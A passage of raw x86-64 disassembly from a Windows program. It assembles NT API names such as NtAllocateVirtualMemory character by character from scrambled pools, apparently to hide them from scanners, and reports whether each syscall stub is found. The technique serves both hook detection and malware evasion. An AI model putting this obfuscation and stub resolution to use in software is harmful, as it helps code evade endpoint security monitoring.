lea r8, [0x140115288]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x930]
lea rdx, [rbp + 0x950]
lea r8, [0x1401152c2]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x910]
lea rdx, [rbp + 0x930]
lea r8, [0x1401152c4]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x8f0]
lea rdx, [rbp + 0x910]
lea r8, [0x1401152c6]
mov rcx, rax
call fcn.1400b9b20
lea rdx, [rbp + 0x8f0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9a40
lea rax, [rbp + 0x8f0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x910]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x930]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x950]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x970]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x990]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x9b0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x9d0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x9f0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xa10]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xa30]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xa50]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xa70]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xa90]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xab0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xad0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xaff]
mov rcx, rax
call fcn.14009a3b0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0xb00]
mov rcx, rax
call fcn.1400a8d40
mov r9, qword [rbp + 0x2dc8]
mov r8, qword [rbp + 0x2de8]
mov rdx, qword [rbp + 0x2dc0]
lea rax, [rbp + 0xb00]
mov rcx, qword [rbp + 0x2e70]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2ea0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000147d
mov dword [rbp + 0x2dbc], eax
lea rax, [rbp + 0xb00]
mov rcx, rax
call fcn.1400a9a00
cmp dword [rbp + 0x2dbc], 0
je 0x140003f65
lea rbx, [0x14011529a]
jmp 0x140003f6c
lea rbx, [0x14011529f]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f200
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.14001e890
lea rax, [rbp + 0xcef]
mov qword [rbp + 0x2d80], rax
nop
nop
lea rdx, [rbp + 0xcef]
lea rax, [rbp + 0xcc0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a91e0
lea rax, [rbp + 0xca0]
lea rdx, [rbp + 0xcc0]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xc80]
lea rdx, [rbp + 0xca0]
lea r8, [0x1401152c8]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xc60]
lea rdx, [rbp + 0xc80]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xc40]
lea rdx, [rbp + 0xc60]
lea r8, [0x1401152ca]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xc20]
lea rdx, [rbp + 0xc40]
lea r8, [0x140115292]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xc00]
lea rdx, [rbp + 0xc20]
lea r8, [0x140115296]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xbe0]
lea rdx, [rbp + 0xc00]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xbc0]
lea rdx, [rbp + 0xbe0]
lea r8, [0x1401152be]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xba0]
lea rdx, [rbp + 0xbc0]
lea r8, [0x1401152c0]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xb80]
lea rdx, [rbp + 0xba0]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xb60]
lea rdx, [rbp + 0xb80]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xb40]
lea rdx, [rbp + 0xb60]
lea r8, [0x140115288]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xb20]
lea rdx, [rbp + 0xb40]
lea r8, [0x1401152c2]
mov rcx, rax
call fcn.1400b9b20
lea rdx, [rbp + 0xb20]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9a40
lea rax, [rbp + 0xb20]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xb40]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xb60]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xb80]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xba0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xbc0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xbe0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xc00]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xc20]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xc40]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xc60]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xc80]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xca0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xcc0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xcef]
mov rcx, rax
call fcn.14009a3b0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0xcf0]
mov rcx, rax
call fcn.1400a8d40
mov r9, qword [rbp + 0x2dc8]
mov r8, qword [rbp + 0x2de8]
mov rdx, qword [rbp + 0x2dc0]
lea rax, [rbp + 0xcf0]
mov rcx, qword [rbp + 0x2e68]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2ea0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000147d
mov dword [rbp + 0x2dbc], eax
lea rax, [rbp + 0xcf0]
mov rcx, rax
call fcn.1400a9a00
cmp dword [rbp + 0x2dbc], 0
je 0x1400042a1
lea rbx, [0x14011529a]
jmp 0x1400042a8
lea rbx, [0x14011529f]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f200
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.14001e890
lea rax, [rbp + 0xfbf]
mov qword [rbp + 0x2d78], rax
nop
nop
lea rdx, [rbp + 0xfbf]
lea rax, [rbp + 0xf90]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a91e0
lea rax, [rbp + 0xf70]
lea rdx, [rbp + 0xf90]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xf50]
lea rdx, [rbp + 0xf70]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xf30]
lea rdx, [rbp + 0xf50]
lea r8, [0x140115288]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xf10]
lea rdx, [rbp + 0xf30]
lea r8, [0x14011528e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xef0]
lea rdx, [rbp + 0xf10]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xed0]
lea rdx, [rbp + 0xef0]
lea r8, [0x1401152cc]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xeb0]
lea rdx, [rbp + 0xed0]
lea r8, [0x140115284]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xe90]
lea rdx, [rbp + 0xeb0]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xe70]
lea rdx, [rbp + 0xe90]
lea r8, [0x1401152ce]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xe50]
lea rdx, [rbp + 0xe70]
lea r8, [0x14011528e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xe30]
lea rdx, [rbp + 0xe50]
lea r8, [0x1401152d0]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xe10]
lea rdx, [rbp + 0xe30]
lea r8, [0x1401152d2]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xdf0]
lea rdx, [rbp + 0xe10]
lea r8, [0x140115282]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xdd0]
lea rdx, [rbp + 0xdf0]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xdb0]
lea rdx, [rbp + 0xdd0]
lea r8, [0x1401152d4]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xd90]
lea rdx, [rbp + 0xdb0]
lea r8, [0x1401152d6]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xd70]
lea rdx, [rbp + 0xd90]
lea r8, [0x1401152d8]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xd50]
lea rdx, [rbp + 0xd70]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xd30]
lea rdx, [rbp + 0xd50]
lea r8, [0x140115286]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xd10]
lea rdx, [rbp + 0xd30]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rdx, [rbp + 0xd10]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9a40
lea rax, [rbp + 0xd10]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xd30]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xd50]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xd70]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xd90]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xdb0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xdd0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xdf0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xe10]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xe30]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xe50]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xe70]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xe90]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xeb0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xed0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xef0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xf10]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xf30]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xf50]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xf70]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xf90]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0xfbf]
mov rcx, rax
call fcn.14009a3b0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0xfc0]
mov rcx, rax
call fcn.1400a8d40
mov r9, qword [rbp + 0x2dc8]
mov r8, qword [rbp + 0x2de8]
mov rdx, qword [rbp + 0x2dc0]
lea rax, [rbp + 0xfc0]
mov rcx, qword [rbp + 0x2e60]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2ea0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000147d
mov dword [rbp + 0x2dbc], eax
lea rax, [rbp + 0xfc0]
mov rcx, rax
call fcn.1400a9a00
cmp dword [rbp + 0x2dbc], 0
je 0x140004711
lea rbx, [0x14011529a]
jmp 0x140004718
lea rbx, [0x14011529f]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f200
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.14001e890
lea rax, [rbp + 0x130f]
mov qword [rbp + 0x2d70], rax
nop
nop
lea rdx, [rbp + 0x130f]
lea rax, [rbp + 0x12e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a91e0
lea rax, [rbp + 0x12c0]
lea rdx, [rbp + 0x12e0]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x12a0]
lea rdx, [rbp + 0x12c0]
lea r8, [0x1401152da]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1280]
lea rdx, [rbp + 0x12a0]
lea r8, [0x140115292]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1260]
lea rdx, [rbp + 0x1280]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1240]
lea rdx, [rbp + 0x1260]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1220]
lea rdx, [rbp + 0x1240]
lea r8, [0x140115298]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1200]
lea rdx, [rbp + 0x1220]
lea r8, [0x1401152dc]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x11e0]
lea rdx, [rbp + 0x1200]
lea r8, [0x1401152d0]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x11c0]
lea rdx, [rbp + 0x11e0]
lea r8, [0x1401152de]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x11a0]
lea rdx, [rbp + 0x11c0]
lea r8, [0x140115284]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1180]
lea rdx, [rbp + 0x11a0]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1160]
lea rdx, [rbp + 0x1180]
lea r8, [0x140115296]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1140]
lea rdx, [rbp + 0x1160]
lea r8, [0x140115288]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1120]
lea rdx, [rbp + 0x1140]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1100]
lea rdx, [rbp + 0x1120]
lea r8, [0x14011528e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x10e0]
lea rdx, [rbp + 0x1100]
lea r8, [0x140115284]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x10c0]
lea rdx, [rbp + 0x10e0]
lea r8, [0x1401152d0]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x10a0]
lea rdx, [rbp + 0x10c0]
lea r8, [0x1401152ba]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1080]
lea rdx, [rbp + 0x10a0]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1060]
lea rdx, [rbp + 0x1080]
lea r8, [0x140115284]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1040]
lea rdx, [rbp + 0x1060]
lea r8, [0x140115286]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1020]
lea rdx, [rbp + 0x1040]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1000]
lea rdx, [rbp + 0x1020]
lea r8, [0x1401152ca]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0xfe0]
lea rdx, [rbp + 0x1000]
lea r8, [0x1401152ca]
mov rcx, rax
call fcn.1400b9b20
lea rdx, [rbp + 0xfe0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9a40
lea rax, [rbp + 0xfe0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1000]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1040]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1060]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1080]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x10a0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x10c0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x10e0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1100]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1120]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1140]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1160]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1180]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x11a0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x11c0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x11e0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1200]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1220]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1240]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1260]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1280]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x12a0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x12c0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x12e0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x130f]
mov rcx, rax
call fcn.14009a3b0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1310]
mov rcx, rax
call fcn.1400a8d40
mov r9, qword [rbp + 0x2dc8]
mov r8, qword [rbp + 0x2de8]
mov rdx, qword [rbp + 0x2dc0]
lea rax, [rbp + 0x1310]
mov rcx, qword [rbp + 0x2e58]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2ea0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000147d
mov dword [rbp + 0x2dbc], eax
lea rax, [rbp + 0x1310]
mov rcx, rax
call fcn.1400a9a00
cmp dword [rbp + 0x2dbc], 0
je 0x140004c31
lea rbx, [0x14011529a]
jmp 0x140004c38
lea rbx, [0x14011529f]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f200
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.14001e890
lea rax, [rbp + 0x159f]
mov qword [rbp + 0x2d68], rax
nop
nop
lea rdx, [rbp + 0x159f]
lea rax, [rbp + 0x1570]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a91e0
lea rax, [rbp + 0x1550]
lea rdx, [rbp + 0x1570]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1530]
lea rdx, [rbp + 0x1550]
lea r8, [0x1401152c8]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1510]
lea rdx, [rbp + 0x1530]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x14f0]
lea rdx, [rbp + 0x1510]
lea r8, [0x140115288]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x14d0]
lea rdx, [rbp + 0x14f0]
lea r8, [0x1401152c2]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x14b0]
lea rdx, [rbp + 0x14d0]
lea r8, [0x14011528c]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1490]
lea rdx, [rbp + 0x14b0]
lea r8, [0x14011528e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1470]
lea rdx, [rbp + 0x1490]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1450]
lea rdx, [rbp + 0x1470]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1430]
lea rdx, [rbp + 0x1450]
lea r8, [0x140115292]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1410]
lea rdx, [rbp + 0x1430]
lea r8, [0x140115288]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x13f0]
lea rdx, [rbp + 0x1410]
lea r8, [0x140115282]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x13d0]
lea rdx, [rbp + 0x13f0]
lea r8, [0x140115294]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x13b0]
lea rdx, [rbp + 0x13d0]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1390]
lea rdx, [rbp + 0x13b0]
lea r8, [0x140115296]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1370]
lea rdx, [rbp + 0x1390]
lea r8, [0x140115284]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1350]
lea rdx, [rbp + 0x1370]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1330]
lea rdx, [rbp + 0x1350]
lea r8, [0x140115298]
mov rcx, rax
call fcn.1400b9b20
lea rdx, [rbp + 0x1330]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9a40
lea rax, [rbp + 0x1330]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1350]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1370]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1390]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x13b0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x13d0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x13f0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1410]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1430]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1450]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1470]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1490]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x14b0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x14d0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x14f0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1510]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1530]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1550]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1570]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x159f]
mov rcx, rax
call fcn.14009a3b0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x15a0]
mov rcx, rax
call fcn.1400a8d40
mov r9, qword [rbp + 0x2dc8]
mov r8, qword [rbp + 0x2de8]
mov rdx, qword [rbp + 0x2dc0]
lea rax, [rbp + 0x15a0]
mov rcx, qword [rbp + 0x2e50]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2ea0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000147d
mov dword [rbp + 0x2dbc], eax
lea rax, [rbp + 0x15a0]
mov rcx, rax
call fcn.1400a9a00
cmp dword [rbp + 0x2dbc], 0
je 0x140005049
lea rbx, [0x14011529a]
jmp 0x140005050
lea rbx, [0x14011529f]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f200
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.14001e890
lea rax, [rbp + 0x16af]
mov qword [rbp + 0x2d60], rax
nop
nop
lea rdx, [rbp + 0x16af]
lea rax, [rbp + 0x1680]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a91e0
lea rax, [rbp + 0x1660]
lea rdx, [rbp + 0x1680]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1640]
lea rdx, [rbp + 0x1660]
lea r8, [0x1401152bc]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1620]
lea rdx, [rbp + 0x1640]
lea r8, [0x140115282]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1600]
lea rdx, [rbp + 0x1620]
lea r8, [0x140115284]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x15e0]
lea rdx, [rbp + 0x1600]
lea r8, [0x1401152ca]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x15c0]
lea rdx, [rbp + 0x15e0]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rdx, [rbp + 0x15c0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9a40
lea rax, [rbp + 0x15c0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x15e0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1600]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1620]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1640]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1660]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1680]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x16af]
mov rcx, rax
call fcn.14009a3b0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x16b0]
mov rcx, rax
call fcn.1400a8d40
mov r9, qword [rbp + 0x2dc8]
mov r8, qword [rbp + 0x2de8]
mov rdx, qword [rbp + 0x2dc0]
lea rax, [rbp + 0x16b0]
mov rcx, qword [rbp + 0x2e48]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2ea0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.14000147d
mov dword [rbp + 0x2dbc], eax
lea rax, [rbp + 0x16b0]
mov rcx, rax
call fcn.1400a9a00
cmp dword [rbp + 0x2dbc], 0
je 0x140005251
lea rbx, [0x14011529a]
jmp 0x140005258
lea rbx, [0x14011529f]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f200
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.14001e890
lea rax, [rbp + 0x187f]
mov qword [rbp + 0x2d58], rax
nop
nop
lea rdx, [rbp + 0x187f]
lea rax, [rbp + 0x1850]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a91e0
lea rax, [rbp + 0x1830]
lea rdx, [rbp + 0x1850]
lea r8, [0x14011527e]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1810]
lea rdx, [rbp + 0x1830]
lea r8, [0x1401152d4]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x17f0]
lea rdx, [rbp + 0x1810]
lea r8, [0x1401152e0]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x17d0]
lea rdx, [rbp + 0x17f0]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x17b0]
lea rdx, [rbp + 0x17d0]
lea r8, [0x1401152d0]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1790]
lea rdx, [rbp + 0x17b0]
lea r8, [0x1401152ba]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1770]
lea rdx, [rbp + 0x1790]
lea r8, [0x140115290]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1750]
lea rdx, [rbp + 0x1770]
lea r8, [0x140115284]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1730]
lea rdx, [rbp + 0x1750]
lea r8, [0x140115286]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x1710]
lea rdx, [rbp + 0x1730]
lea r8, [0x14011528a]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x16f0]
lea rdx, [rbp + 0x1710]
lea r8, [0x1401152ca]
mov rcx, rax
call fcn.1400b9b20
lea rax, [rbp + 0x16d0]
lea rdx, [rbp + 0x16f0]
lea r8, [0x1401152ca]
mov rcx, rax
call fcn.1400b9b20
lea rdx, [rbp + 0x16d0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9a40
lea rax, [rbp + 0x16d0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x16f0]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1710]
mov rcx, rax
call fcn.1400a9a00
lea rax, [rbp + 0x1730]
